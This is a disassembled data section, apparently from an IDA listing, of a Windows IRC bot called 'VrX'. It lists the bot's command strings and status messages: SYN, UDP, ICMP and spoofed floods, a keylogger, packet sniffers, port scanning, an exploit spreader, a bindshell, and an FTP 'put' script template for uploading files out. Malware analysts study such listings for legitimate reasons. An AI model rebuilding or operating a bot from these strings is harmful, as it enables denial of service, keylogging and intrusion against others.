aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
